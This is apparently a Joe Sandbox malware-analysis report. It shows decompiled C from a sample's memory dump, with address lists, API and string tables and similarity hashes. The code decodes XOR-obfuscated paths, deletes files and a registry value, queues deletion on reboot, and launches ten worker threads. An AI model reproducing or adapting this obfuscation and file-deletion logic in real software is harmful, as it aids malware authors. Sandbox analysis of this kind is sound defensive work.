				_v452 = 0x68;
				_v451 = 0x8c;
				_v450 = 0xc;
				_v449 = 0x1f;
				_v448 = 0x74;
				_v447 = 0x46;
				_v446 = 0xe5;
				_v445 = 0x88;
				_v444 = 0xe1;
				_v443 = 0xd6;
				_v442 = 0xc9;
				_t349 = 0;
				do {
					 *(_t422 + _t349 + 0x94) =  *(_t422 + _t349 + 0x94) ^  *(_t422 + _t349 + 0x14);
					_t349 = _t349 + 1;
				} while (_t349 < 0x13);
				ExpandEnvironmentStringsA( &_v332,  &_v264, 0x104);
				DeleteFileA( &_v264);
				_v352 = 0x7b;
				_v351 = 0x3a;
				_v350 = 0x59;
				_v349 = 0xfe;
				_v348 = 0x78;
				_v347 = 0xb0;
				_v346 = 0xb1;
				_v345 = 0x27;
				_v344 = 0x34;
				_v343 = 0xf8;
				_v342 = 0x7f;
				_v341 = 0x7a;
				_v340 = 6;
				_v339 = 0x30;
				_v338 = 0xcb;
				_v337 = 0xef;
				_v336 = 0x87;
				_v335 = 0xae;
				_v334 = 0xc9;
				_v460 = 0x5e;
				_v459 = 0x6d;
				_v458 = 0x10;
				_v457 = 0xb0;
				_v456 = 0x3c;
				_v455 = 0xf9;
				_v454 = 0xe3;
				_v453 = 2;
				_v452 = 0x68;
				_v451 = 0x8c;
				_v450 = 0xc;
				_v449 = 0x1f;
				_v448 = 0x74;
				_v447 = 0x46;
				_v446 = 0xe5;
				_v445 = 0x8b;
				_v444 = 0xeb;
				_v443 = 0xc2;
				_v442 = 0xc9;
				_t353 = 0;
				do {
					 *(_t422 + _t353 + 0x80) =  *(_t422 + _t353 + 0x80) ^  *(_t422 + _t353 + 0x14);
					_t353 = _t353 + 1;
				} while (_t353 < 0x13);
				ExpandEnvironmentStringsA( &_v352,  &_v264, 0x104);
				_t356 = DeleteFileA( &_v264);
				if(_t356 == 0) {
					MoveFileExA( &_v264, _t356, 4);
				}
				_v400 = 0x7b;
				_v399 = 0x3a;
				_v398 = 0x59;
				_v397 = 0xfe;
				_v396 = 0x78;
				_v395 = 0xb0;
				_v394 = 0xb1;
				_v393 = 0x27;
				_v392 = 0x34;
				_v391 = 0xf8;
				_v390 = 0x7f;
				_v389 = 0x7a;
				_v388 = 6;
				_v387 = 0x30;
				_v386 = 0xcb;
				_v385 = 0xef;
				_v384 = 0x87;
				_v460 = 0x5e;
				_v459 = 0x6d;
				_v458 = 0x10;
				_v457 = 0xb0;
				_v456 = 0x3c;
				_v455 = 0xf9;
				_v454 = 0xe3;
				_v453 = 2;
				_v452 = 0x68;
				_v451 = 0x8c;
				_v450 = 0xc;
				_v449 = 0x1f;
				_v448 = 0x74;
				_v447 = 0x46;
				_v446 = 0xe5;
				_v445 = 0x95;
				_v444 = 0x87;
				_t357 = 0;
				do {
					 *(_t422 + _t357 + 0x4c) =  *(_t422 + _t357 + 0x4c) ^  *(_t422 + _t357 + 0x10);
					_t357 = _t357 + 1;
				} while (_t357 < 0x11);
				ExpandEnvironmentStringsA( &_v400,  &_v264, 0x104);
				DeleteFileA( &_v264);
				_v440 = 0x7b;
				_v439 = 0x3a;
				_v438 = 0x59;
				_v437 = 0xfe;
				_v436 = 0x78;
				_v435 = 0xb0;
				_v434 = 0xb1;
				_v433 = 0x27;
				_v432 = 0x34;
				_v431 = 0xf8;
				_v430 = 0x7f;
				_v429 = 0x7a;
				_v428 = 6;
				_v427 = 0x30;
				_v426 = 0xcb;
				_v425 = 0xef;
				_v424 = 0x87;
				_v460 = 0x5e;
				_v459 = 0x6d;
				_v458 = 0x10;
				_v457 = 0xb0;
				_v456 = 0x3c;
				_v455 = 0xf9;
				_v454 = 0xe3;
				_v453 = 2;
				_v452 = 0x68;
				_v451 = 0x8c;
				_v450 = 0xc;
				_v449 = 0x1f;
				_v448 = 0x74;
				_v447 = 0x46;
				_v446 = 0xe5;
				_v445 = 0x9c;
				_v444 = 0x87;
				_t361 = 0;
				do {
					 *(_t422 + _t361 + 0x24) =  *(_t422 + _t361 + 0x24) ^  *(_t422 + _t361 + 0x10);
					_t361 = _t361 + 1;
				} while (_t361 < 0x11);
				ExpandEnvironmentStringsA( &_v440,  &_v264, 0x104);
				DeleteFileA( &_v264);
				_v420 = 0x7b;
				_v419 = 0x3a;
				_v418 = 0x59;
				_v417 = 0xfe;
				_v416 = 0x78;
				_v415 = 0xb0;
				_v414 = 0xb1;
				_v413 = 0x27;
				_v412 = 0x34;
				_v411 = 0xf8;
				_v410 = 0x7f;
				_v409 = 0x7a;
				_v408 = 6;
				_v407 = 0x30;
				_v406 = 0xcb;
				_v405 = 0xef;
				_v404 = 0x87;
				_v460 = 0x5e;
				_v459 = 0x6d;
				_v458 = 0x10;
				_v457 = 0xb0;
				_v456 = 0x3c;
				_v455 = 0xf9;
				_v454 = 0xe3;
				_v453 = 2;
				_v452 = 0x68;
				_v451 = 0x8c;
				_v450 = 0xc;
				_v449 = 0x1f;
				_v448 = 0x74;
				_v447 = 0x46;
				_v446 = 0xe5;
				_v445 = 0x8c;
				_v444 = 0x87;
				_t365 = 0;
				do {
					 *(_t422 + _t365 + 0x38) =  *(_t422 + _t365 + 0x38) ^  *(_t422 + _t365 + 0x10);
					_t365 = _t365 + 1;
				} while (_t365 < 0x11);
				ExpandEnvironmentStringsA( &_v420,  &_v264, 0x104);
				return E00424873(DeleteFileA( &_v264), _v4);
			}

0x00413280
0x00413280
0x00413286
0x0041328c
0x0041329c
0x004132a3
0x004132aa
0x004132b1
0x004132b9
0x004132c1
0x004132c9
0x004132d1
0x004132d9
0x004132e1
0x004132e9
0x004132f1
0x004132f9
0x00413300
0x00413308
0x00413310
0x00413318
0x0041331f
0x00413326
0x0041332e
0x00413335
0x0041333d
0x00413345
0x0041334c
0x00413354
0x0041335c
0x00413364
0x0041336b
0x00413373
0x0041337b
0x00413382
0x0041338a
0x00413392
0x00413399
0x004133a0
0x004133a8
0x004133b0
0x004133b8
0x004133c0
0x004133c7
0x004133cf
0x004133d7
0x004133de
0x004133e5
0x004133ed
0x004133f5
0x004133fd
0x00413400
0x00413400
0x00413408
0x00413409
0x00413420
0x00413428
0x0041342e
0x00413438
0x0041343d
0x00413442
0x00413447
0x0041344c
0x00413451
0x0041345c
0x0041345c
0x00413462
0x00413472
0x0041348a
0x0041348e
0x00413493
0x00413498
0x0041349d
0x004134a2
0x004134a7
0x004134ab
0x004134b0
0x004134b5
0x004134ba
0x004134bf
0x004134c4
0x004134c9
0x004134ce
0x004134d3
0x004134d8
0x004134dd
0x004134e2
0x004134e7
0x004134ec
0x004134f1
0x004134f6
0x004134fb
0x004134ff
0x00413504
0x00413509
0x0041350e
0x00413513
0x00413518
0x0041351d
0x00413522
0x00413527
0x0041352c
0x00413531
0x00413536
0x0041353b
0x00413540
0x00413545
0x0041354a
0x00413550
0x00413550
0x0041355a
0x0041355e
0x0041355f
0x0041357c
0x0041358c
0x0041358e
0x00413596
0x0041359e
0x004135a6
0x004135ae
0x004135b6
0x004135bd
0x004135c5
0x004135cd
0x004135d5
0x004135dd
0x004135e5
0x004135ed
0x004135f5
0x004135fd
0x00413605
0x0041360d
0x00413615
0x0041361d
0x00413625
0x0041362a
0x0041362f
0x00413634
0x00413638
0x0041363d
0x00413642
0x00413647
0x0041364c
0x00413651
0x00413656
0x0041365b
0x00413660
0x00413665
0x0041366a
0x0041366f
0x00413674
0x00413679
0x0041367e
0x00413683
0x00413690
0x0041369d
0x004136a4
0x004136a5
0x004136bf
0x004136c9
0x004136cb
0x004136d3
0x004136db
0x004136e3
0x004136eb
0x004136f3
0x004136fa
0x00413702
0x0041370a
0x00413712
0x0041371a
0x00413722
0x0041372a
0x00413732
0x0041373a
0x00413742
0x0041374a
0x00413752
0x0041375a
0x00413762
0x00413767
0x0041376c
0x00413771
0x00413775
0x0041377a
0x0041377f
0x00413784
0x00413789
0x0041378e
0x00413793
0x00413798
0x0041379d
0x004137a2
0x004137a7
0x004137ac
0x004137b1
0x004137b6
0x004137bb
0x004137c0
0x004137c2
0x004137cf
0x004137d6
0x004137d7
0x004137f1
0x004137fb
0x004137ff
0x0041380c
0x0041380c
0x0041380e
0x00413813
0x00413818
0x0041381d
0x00413822
0x00413827
0x0041382b
0x00413830
0x00413835
0x0041383a
0x0041383f
0x00413844
0x00413849
0x0041384e
0x00413853
0x00413858
0x0041385d
0x00413862
0x00413867
0x0041386c
0x00413871
0x00413875
0x0041387a
0x0041387f
0x00413884
0x00413889
0x0041388e
0x00413893
0x00413898
0x0041389d
0x004138a2
0x004138a7
0x004138ac
0x004138b1
0x004138b6
0x004138c0
0x004138ca
0x004138ce
0x004138cf
0x004138e6
0x004138f0
0x004138f2
0x004138f7
0x004138fc
0x00413901
0x00413906
0x0041390b
0x0041390f
0x00413914
0x00413919
0x0041391e
0x00413923
0x00413928
0x0041392d
0x00413932
0x00413937
0x0041393c
0x00413941
0x00413946
0x0041394b
0x00413950
0x00413955
0x00413959
0x0041395e
0x00413963
0x00413968
0x0041396d
0x00413972
0x00413977
0x0041397c
0x00413981
0x00413986
0x0041398b
0x00413990
0x00413995
0x0041399a
0x004139a0
0x004139aa
0x004139ae
0x004139af
0x004139c6
0x004139d0
0x004139d2
0x004139d7
0x004139dc
0x004139e1
0x004139e6
0x004139eb
0x004139ef
0x004139f4
0x004139f9
0x004139fe
0x00413a03
0x00413a08
0x00413a0d
0x00413a12
0x00413a17
0x00413a1c
0x00413a21
0x00413a26
0x00413a2b
0x00413a30
0x00413a35
0x00413a39
0x00413a3e
0x00413a43
0x00413a48
0x00413a4d
0x00413a52
0x00413a57
0x00413a5c
0x00413a61
0x00413a66
0x00413a6b
0x00413a70
0x00413a75
0x00413a7a
0x00413a80
0x00413a8a
0x00413a8e
0x00413a8f
0x00413aa6
0x00413ac7

APIs

RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00413420
RegDeleteValueA.ADVAPI32(?,?), ref: 00413451
RegCloseKey.ADVAPI32(?), ref: 0041345C
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00413472
MoveFileExA.KERNEL32 ref: 0041348A
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 0041357C
DeleteFileA.KERNEL32(?), ref: 0041358C
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004136BF
DeleteFileA.KERNEL32(?), ref: 004136C9
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004137F1
DeleteFileA.KERNEL32(?), ref: 004137FB
MoveFileExA.KERNEL32 ref: 0041380C
ExpandEnvironmentStringsA.KERNEL32(00000078,?,00000104), ref: 004138E6
DeleteFileA.KERNEL32(?), ref: 004138F0
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004139C6
DeleteFileA.KERNEL32(?), ref: 004139D0
ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 00413AA6
DeleteFileA.KERNEL32(?), ref: 00413AB0

Strings

r, xrefs: 00413447
4, xrefs: 004134B5
4, xrefs: 0041370A
0, xrefs: 00413A12
t, xrefs: 00413438
x, xrefs: 00413906
', xrefs: 00413914
4, xrefs: 00413919
', xrefs: 004134B0
0, xrefs: 00413932
h, xrefs: 00413A4D
4, xrefs: 004139F9
z, xrefs: 00413844
z, xrefs: 00413A08
x, xrefs: 00413822
{, xrefs: 004138F2
{, xrefs: 004139D2
0, xrefs: 004134CE
s, xrefs: 0041343D
F, xrefs: 004138A2
Y, xrefs: 00413818
Y, xrefs: 004136DB
{, xrefs: 0041380E
4, xrefs: 00413835
', xrefs: 004135C5
', xrefs: 00413702
x, xrefs: 004135AE
z, xrefs: 00413722
m, xrefs: 00413867
4, xrefs: 004135CD
m, xrefs: 00413A2B
<, xrefs: 00413A39
z, xrefs: 004135E5
z, xrefs: 004134C4
{, xrefs: 0041358E
{rest, xrefs: 00413550
t, xrefs: 00413A61
F, xrefs: 00413A66
z, xrefs: 00413928
G@,, xrefs: 00413286
e, xrefs: 00413442
{, xrefs: 004136CB
0, xrefs: 00413732
:, xrefs: 004138F7
:, xrefs: 004136D3
Y, xrefs: 004139DC
Y, xrefs: 004138FC
:, xrefs: 004139D7
0, xrefs: 0041384E
:, xrefs: 00413596
Y, xrefs: 0041359E
:, xrefs: 00413813
x, xrefs: 004136EB
0, xrefs: 004135F5
', xrefs: 00413830
^, xrefs: 00413A26
x, xrefs: 004139E6
', xrefs: 004139F4
t, xrefs: 0041389D

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: File$Delete$EnvironmentExpandStrings$Move$CloseModuleNameOpenValue
String ID: '$'$'$'$'$'$0$0$0$0$0$0$4$4$4$4$4$4$:$:$:$:$:$<$F$F$G@,$Y$Y$Y$Y$Y$^$e$h$m$m$r$s$t$t$t$x$x$x$x$x$z$z$z$z$z$z${${${${${${rest
API String ID: 3238871166-2199050999
Opcode ID: eb28d1edef8d5a0ebcf80e1393b2c75a925ba66498ea7eb4a4f4807419b03660
Instruction ID: 8932c8d423f86795222f4535f9e39ef289d62bf3872af0266dd33df7fd326858
Opcode Fuzzy Hash: eb28d1edef8d5a0ebcf80e1393b2c75a925ba66498ea7eb4a4f4807419b03660
Instruction Fuzzy Hash: 5042961110D7C2C9D332D67C984878FBFD51BA7228F484F8DE1E95B2E2C6A98249C767

Uniqueness

Uniqueness Score: -1.00%

Function 004147D5, Relevance: 135.2, APIs: 13, Strings: 64, Instructions: 415
threadCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E004147D5(void* __eax, void* __ebx, intOrPtr __ebp, void* _a4, long _a8, void* _a12, void* _a16, intOrPtr _a40, char* _a76, void* _a136, void* _a137, void* _a138, void* _a139, void* _a140, void* _a141, void* _a142, void* _a143, void* _a144, void* _a145, void* _a146, void* _a147, void* _a148, void* _a149, void* _a150, void* _a151, char _a152, char _a153, char _a154, char _a155, void* _a156, char _a157, char _a158, char _a159, char _a160, char _a161, char _a162, char _a163, char _a164, char _a165, char _a166, char _a167, char _a168, char _a169, char _a170, char _a171, char _a172, char _a173, char _a174, char _a175, char _a176, char _a177, char _a178, char _a179, char _a180, char _a181, char _a182, char _a183, char _a184, char _a185, char _a186, char _a187, char _a188, char _a189, char _a190, char _a191, char _a192, char _a193, char _a194, char _a195, void* _a212, void* _a213, void* _a214, void* _a215, void* _a216, void* _a217, void* _a218, void* _a219, void* _a220, void* _a221, void* _a222, void* _a223, void* _a224, void* _a225, void* _a226, void* _a227, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a288, char _a289, char _a290, char _a291, char _a292, char _a293, char _a294, char _a295, char _a296, char _a297, char _a298, char _a299, char _a300, char _a301, char _a302, char _a303, char _a304, char _a305, char _a306, char _a307, char _a308, char _a309, void* _a310, void* _a311, void* _a312, void* _a313, void* _a314, void* _a315, void* _a316, void* _a317, void* _a318, void* _a319, char _a320, char _a321, void* _a364, void* _a365, void* _a366, void* _a367, void* _a368, void* _a369, void* _a370, void* _a371, void* _a372, void* _a373, void* _a374, void* _a375, void* _a376, void* _a377, void* _a378, void* _a379, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a387, char _a396, void* _a416, char _a432, char _a448, void* _a848, void* _a852, void* _a860, void* _a868) {
				void* _v0;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				void* _v60;
				void* _v64;
				void* _v69;
				void* _t273;
				signed short _t275;
				void* _t283;
				void* _t290;
				signed int _t294;
				void* _t312;
				signed char _t314;
				void* _t319;
				signed char _t324;
				signed char _t325;
				signed int _t326;
				signed char _t336;
				signed char _t337;
				char _t338;
				signed int _t352;
				signed char _t408;
				void* _t414;
				signed int _t418;
				signed int _t419;
				void* _t421;
				void* _t423;
				void* _t424;

				_t273 = __eax;
				do {
					 *((char*)(_t423 + _t273 + 0xe8)) =  *((intOrPtr*)(_t423 + _t273 + 0xe8)) +  *((intOrPtr*)(_t423 + _t273 + 0xcc));
					 *((char*)(_t423 + _t273 + 0xe9)) =  *((intOrPtr*)(_t423 + _t273 + 0xe9)) +  *((intOrPtr*)(_t423 + _t273 + 0xcd));
					 *((char*)(_t423 + _t273 + 0xea)) =  *((intOrPtr*)(_t423 + _t273 + 0xea)) +  *((intOrPtr*)(_t423 + _t273 + 0xce));
					 *((char*)(_t423 + _t273 + 0xeb)) =  *((intOrPtr*)(_t423 + _t273 + 0xeb)) +  *((intOrPtr*)(_t423 + _t273 + 0xcf));
					 *((char*)(_t423 + _t273 + 0xec)) =  *((intOrPtr*)(_t423 + _t273 + 0xec)) +  *((intOrPtr*)(_t423 + _t273 + 0xd0));
					_t273 = _t273 + 5;
				} while (_t273 < 0x14);
				E0040B300( &_a448,  &_a232, 0, 1, 1);
				_a288 = 0x28;
				_a289 = 0x24;
				_a290 = 0x26;
				_a291 = 0x2f;
				_a292 = 0x2a;
				_a293 = 0x2d;
				_a294 = 0x2b;
				_a295 = 0x36;
				_a296 = 0x28;
				_a297 = 0x2c;
				_a298 = 0x31;
				_a299 = 0x2d;
				_a300 = 5;
				_a301 = 0x28;
				_a302 = 0x24;
				_a303 = 0x2c;
				_a304 = 0x29;
				_a305 = 0x6b;
				_a306 = 0x26;
				_a307 = 0x2a;
				_a308 = 0x28;
				_a309 = 0x45;
				_t275 = 0x71;
				_t352 = 0;
				do {
					_t275 = ((_t275 & 0x0000ffff | 0x00006a17) + 0x000006db) * 0x00000007 ^ 0x0000001a;
					 *(_t423 + _t352 + 0x130) =  *(_t423 + _t352 + 0x130) ^ 0x00000045;
					_t352 = _t352 + 1;
				} while (_t352 < 0x16);
				E0040B300( &_a448,  &_a304, 0, 1, 1);
				_push(0x18);
				_push( &_a380);
				_a380 = 0x28;
				_a381 = 0x35;
				_a382 = 0x17;
				_a383 = 0xaa;
				_a384 = 0x83;
				_a385 = 0x40;
				_a386 = 0xeb;
				_a387 = 0x5c;
				 *((char*)(_t423 + 0x19c)) = 0x1c;
				 *((char*)(_t423 + 0x19d)) = 0x28;
				 *((char*)(_t423 + 0x19e)) = 0xdd;
				 *((char*)(_t423 + 0x19f)) = 0xcb;
				 *((char*)(_t423 + 0x1a0)) = 0xd8;
				 *((char*)(_t423 + 0x1a1)) = 0x5a;
				 *((char*)(_t423 + 0x1a2)) = 0x88;
				 *((char*)(_t423 + 0x1a3)) = 0x9c;
				_a396 = 0x95;
				 *((char*)(_t423 + 0x1a5)) = 0x1d;
				 *((char*)(_t423 + 0x1a6)) = 0xbd;
				 *((char*)(_t423 + 0x1a7)) = 0x48;
				 *((char*)(_t423 + 0x1a8)) = 0x67;
				 *((char*)(_t423 + 0x1a9)) = 0x6a;
				 *((char*)(_t423 + 0x1aa)) = 0xa9;
				 *((char*)(_t423 + 0x1ab)) = 0xb0;
				_a188 = 5;
				_a189 = 0x68;
				_a190 = 9;
				_a191 = 0x6a;
				_a192 = 0;
				_a193 = 0x6f;
				_a194 = 7;
				_a195 = 0x69;
				 *((char*)(_t423 + 0xdc)) = 0x1a;
				 *((char*)(_t423 + 0xdd)) = 0x77;
				 *((char*)(_t423 + 0xde)) = 0x1e;
				 *((char*)(_t423 + 0xdf)) = 0x6a;
				 *((char*)(_t423 + 0xe0)) = 2;
				 *((char*)(_t423 + 0xe1)) = 0x42;
				 *((char*)(_t423 + 0xe2)) = 0x20;
				 *((char*)(_t423 + 0xe3)) = __ebx;
				 *((char*)(_t423 + 0xe4)) = 0x2e;
				 *((char*)(_t423 + 0xe5)) = 0x43;
				 *((char*)(_t423 + 0xe6)) = 0x2a;
				 *((char*)(_t423 + 0xe7)) = 0x58;
				 *((char*)(_t423 + 0xe8)) = 0x76;
				 *((char*)(_t423 + 0xe9)) = 0x18;
				 *((char*)(_t423 + 0xea)) = 0x7d;
				 *((char*)(_t423 + 0xeb)) = 9;
				_t283 = E00411FF0( &_a188);
				_t424 = _t423 + 8;
				E0040B300( &_a432, _t283, 0, 1, 1);
				_a320 = 0x9d;
				_a321 = 0x8d;
				 *((char*)(_t424 + 0x162)) = 0x19;
				 *((char*)(_t424 + 0x163)) = 0x39;
				 *((char*)(_t424 + 0x164)) = 0xcb;
				 *((char*)(_t424 + 0x165)) = 0xd1;
				 *((char*)(_t424 + 0x166)) = 0x15;
				 *((char*)(_t424 + 0x167)) = 0x5b;
				 *((char*)(_t424 + 0x168)) = 0x57;
				 *((char*)(_t424 + 0x169)) = 0x3e;
				_a174 = 0xd1;
				_a186 = 0x57;
				 *((char*)(_t424 + 0x16e)) = 0x63;
				 *((char*)(_t424 + 0x16f)) = 0xf1;
				 *((char*)(_t424 + 0x170)) = 0;
				 *((char*)(_t424 + 0x171)) = 0xd2;
				 *((char*)(_t424 + 0x172)) = 0x15;
				 *((char*)(_t424 + 0x173)) = 0xbe;
				 *((char*)(_t424 + 0x174)) = 0x45;
				 *((char*)(_t424 + 0x175)) = 0xf2;
				_a172 = 0xf2;
				_a173 = 0x28;
				_a175 = 0x76;
				_a176 = 0xfc;
				_a177 = 0x6c;
				_a178 = 0x98;
				_a179 = 2;
				_a180 = 0x53;
				_a181 = 0x30;
				_a182 = 0x1b;
				_a183 = 0x73;
				_a184 = 0xba;
				_a185 = 0xa9;
				_a187 = 0x71;
				_a188 = 0xe7;
				_a189 = 0xf3;
				E0040B300(_t424 + 0x1d0, E00412060( &_a172, 0x12,  &_a320), 0, 1, 1);
				_a228 = 0xb7;
				_a229 = 0x2a;
				_a230 = 0x56;
				_a231 = 0x1e;
				_a232 = 0x26;
				_a233 = 0xee;
				 *((char*)(_t424 + 0x11e)) = 0x2d;
				 *((char*)(_t424 + 0x11f)) = 0xb4;
				 *((char*)(_t424 + 0x120)) = 0x7d;
				 *((char*)(_t424 + 0x121)) = 0xce;
				 *((char*)(_t424 + 0x122)) = 0xb3;
				 *((char*)(_t424 + 0x123)) = 0xa6;
				 *((char*)(_t424 + 0x124)) = 0xa5;
				 *((char*)(_t424 + 0x125)) = 0x29;
				 *((char*)(_t424 + 0x126)) = __ebx;
				 *((char*)(_t424 + 0x127)) = 0x2a;
				 *((char*)(_t424 + 0x128)) = 0x44;
				 *((char*)(_t424 + 0x129)) = 0xeb;
				 *((char*)(_t424 + 0x12a)) = 0xbe;
				 *((char*)(_t424 + 0x12b)) = 0xae;
				 *((char*)(_t424 + 0x12c)) = 0xa8;
				 *((char*)(_t424 + 0x12d)) = 0xa6;
				_a152 = 0xb6;
				_a153 = 0x37;
				_a154 = 0xd;
				_a155 = 0x4c;
				_a156 = __ebx;
				_a157 = 0x7a;
				_a158 = 0x41;
				_a159 = 0xbf;
				_a160 = 0xf0;
				_a161 = 0x9b;
				_a162 = 0xc1;
				_a163 = 0xc2;
				_a164 = 0x9b;
				_a165 = 0x40;
				_a166 = 0x25;
				_a167 = 0x38;
				_a168 = 0x2b;
				_a169 = 0x8d;
				_a170 = 0x70;
				_a171 = 0xbe;
				_a172 = 0xce;
				_a173 = 0x5a;
				_t290 = 0;
				do {
					 *((char*)(_t424 + _t290 + 0x118)) =  *((intOrPtr*)(_t424 + _t290 + 0x118)) +  *((intOrPtr*)(_t424 + _t290 + 0xcc));
					 *((char*)(_t424 + _t290 + 0x119)) =  *((intOrPtr*)(_t424 + _t290 + 0x119)) +  *((intOrPtr*)(_t424 + _t290 + 0xcd));
					_t290 = _t290 + 2;
				} while (_t290 < 0x16);
				E0040B300( &_a448, _t424 + 0x124, 0, 1, 1);
				_t336 =  *0x431c90; // 0x0
				_t337 = _t336 ^ 0x0000005d;
				_t294 = _t337 ^ 0x0000005d;
				 *0x431c90 = _t294;
				_t338 = _t337 + _t294 * 0x44;
				 *((intOrPtr*)(_t424 + 0x68)) = __ebp;
				 *((intOrPtr*)(_t424 + 0x54)) = CreateEventA(0, 1, 0, 0);
				_a76 =  &_a432;
				_t421 = CreateThread(0, 0, E00401260, _t424 + 0x5c, 0,  &_a8);
				_t431 = _a8;
				if(_a8 != 0) {
					_t319 = E004123A0(_t338, CloseHandle, _t414, _t421, _t431, _t424 + 0x40, _t424 + 0x40, _t424 + 0x40, _t424 + 0x40);
					_t424 = _t424 + 0x10;
					if(_t319 != 0) {
						 *((intOrPtr*)(_t424 + 0x20)) =  *((intOrPtr*)(_t424 + 0x54));
						 *((intOrPtr*)(_t424 + 0x24)) = _t424 + 0x1c0;
						 *(_t424 + 0x28) = _t424 + 0x44;
						_a40 = _t424 + 0x64;
						 *((intOrPtr*)(_t424 + 0x30)) = _t424 + 0x7c;
						 *0x431c90 = 5;
						_t418 = 0;
						do {
							 *((intOrPtr*)(_t424 + 0xa4 + _t418 * 4)) = CreateThread(0, 0, E004191C0, _t424 + 0x28, 0, _t424 + 0x18);
							_t418 = _t418 + 1;
						} while (_t418 < 0xa);
						_t324 =  *0x431c90; // 0x0
						_t325 = _t324 + 0x24;
						_t326 = _t325 * 0x9b;
						 *0x431c90 = _t326;
						_t338 = 0x1f - (_t325 << 6) + _t326 * 0x1c;
						WaitForMultipleObjects(0xa,  &_a156, 1, 0xffffffff);
						_t419 = 0;
						 *((char*)(_t424 + 0x13)) = 0x26c;
						do {
							CloseHandle( *(_t424 + 0xa4 + _t419 * 4));
							_t408 =  *0x431c90; // 0x0
							_t419 = _t419 + 1;
							 *0x431c90 = _t408 +  *((intOrPtr*)(_t424 + 0x13));
						} while (_t419 < 0xa);
					}
				}
				if( *((intOrPtr*)(_t424 + 0x3b8)) != 0) {
					_t314 =  *0x431c90; // 0x0
					 *0x431c90 = _t314 + 0x78;
					WaitForSingleObject(_a16, 0xffffffff);
					 *0x431c90 = 0x40;
					_t338 = 0x17;
					CloseHandle(_a16);
				}
				 *0x431c90 = _t338 + 0x000000a0 ^ 0x0000005d;
				WaitForSingleObject(_t421, 0xffffffff);
				CloseHandle(_t421);
				E00416790(_t424 + 0x64);
				HeapFree(GetProcessHeap(), 0,  *(_t424 + 0x34));
				HeapFree(GetProcessHeap(), 0,  *(_t424 + 0x3c));
				 *(_t424 + 0x3b0) = 2;
				E00408AD0(_t424 + 0x1c0);
				 *(_t424 + 0x3b0) = 1;
				E00404590();
				 *(_t424 + 0x3b0) = 0;
				E00416690(_t424 + 0x64);
				 *(_t424 + 0x3b0) = 0xffffffff;
				_t312 = E0041A8F0(_t424 + 0x7c);
				 *[fs:0x0] =  *((intOrPtr*)(_t424 + 0x39c));
				return E00424873(_t312,  *((intOrPtr*)(_t424 + 0x398)));
			}

0x004147d5
0x004147e0
0x004147f7
0x0041480e
0x00414825
0x0041483c
0x0041484c
0x00414853
0x00414856
0x00414870
0x00414875
0x0041487d
0x00414885
0x0041488d
0x00414895
0x0041489d
0x004148a5
0x004148ad
0x004148b5
0x004148bd
0x004148c5
0x004148cd
0x004148d5
0x004148dd
0x004148e5
0x004148ed
0x004148f5
0x004148fd
0x00414905
0x0041490d
0x00414915
0x0041491d
0x00414925
0x0041492a
0x00414930
0x0041494a
0x0041494d
0x00414954
0x00414955
0x0041496f
0x0041497d
0x0041497f
0x00414987
0x0041498f
0x00414997
0x0041499f
0x004149a7
0x004149af
0x004149b7
0x004149bf
0x004149c7
0x004149cf
0x004149d7
0x004149df
0x004149e7
0x004149ef
0x004149f7
0x004149ff
0x00414a07
0x00414a0f
0x00414a17
0x00414a1f
0x00414a27
0x00414a2f
0x00414a36
0x00414a3e
0x00414a46
0x00414a4e
0x00414a56
0x00414a5e
0x00414a65
0x00414a6d
0x00414a75
0x00414a7d
0x00414a85
0x00414a8d
0x00414a95
0x00414a9d
0x00414aa4
0x00414aac
0x00414ab4
0x00414abc
0x00414ac3
0x00414acb
0x00414ad3
0x00414adb
0x00414ae3
0x00414aeb
0x00414af3
0x00414afb
0x00414b03
0x00414b08
0x00414b19
0x00414b24
0x00414b2c
0x00414b34
0x00414b3c
0x00414b44
0x00414b4c
0x00414b53
0x00414b5a
0x00414b62
0x00414b69
0x00414b71
0x00414b7f
0x00414b93
0x00414b9b
0x00414ba3
0x00414bab
0x00414bb3
0x00414bba
0x00414bc2
0x00414bca
0x00414bd2
0x00414bda
0x00414be2
0x00414bea
0x00414bf2
0x00414bfa
0x00414c02
0x00414c0a
0x00414c12
0x00414c1a
0x00414c22
0x00414c2a
0x00414c32
0x00414c3a
0x00414c42
0x00414c4a
0x00414c65
0x00414c6c
0x00414c74
0x00414c7c
0x00414c84
0x00414c8c
0x00414c94
0x00414c9c
0x00414ca4
0x00414cac
0x00414cb4
0x00414cbc
0x00414cc4
0x00414ccb
0x00414cd3
0x00414cdb
0x00414ce2
0x00414cea
0x00414cf2
0x00414cfa
0x00414d02
0x00414d0a
0x00414d12
0x00414d19
0x00414d21
0x00414d29
0x00414d31
0x00414d39
0x00414d40
0x00414d48
0x00414d50
0x00414d58
0x00414d60
0x00414d68
0x00414d70
0x00414d78
0x00414d80
0x00414d88
0x00414d90
0x00414d98
0x00414da0
0x00414da8
0x00414db0
0x00414db8
0x00414dc0
0x00414dc8
0x00414dd0
0x00414de7
0x00414df7
0x00414dfe
0x00414e01
0x00414e1b
0x00414e20
0x00414e26
0x00414e2b
0x00414e2f
0x00414e3e
0x00414e40
0x00414e4a
0x00414e6a
0x00414e7a
0x00414e80
0x00414e82
0x00414e9c
0x00414ea1
0x00414ea6
0x00414eb7
0x00414ebb
0x00414ecb
0x00414ecf
0x00414ed3
0x00414ed7
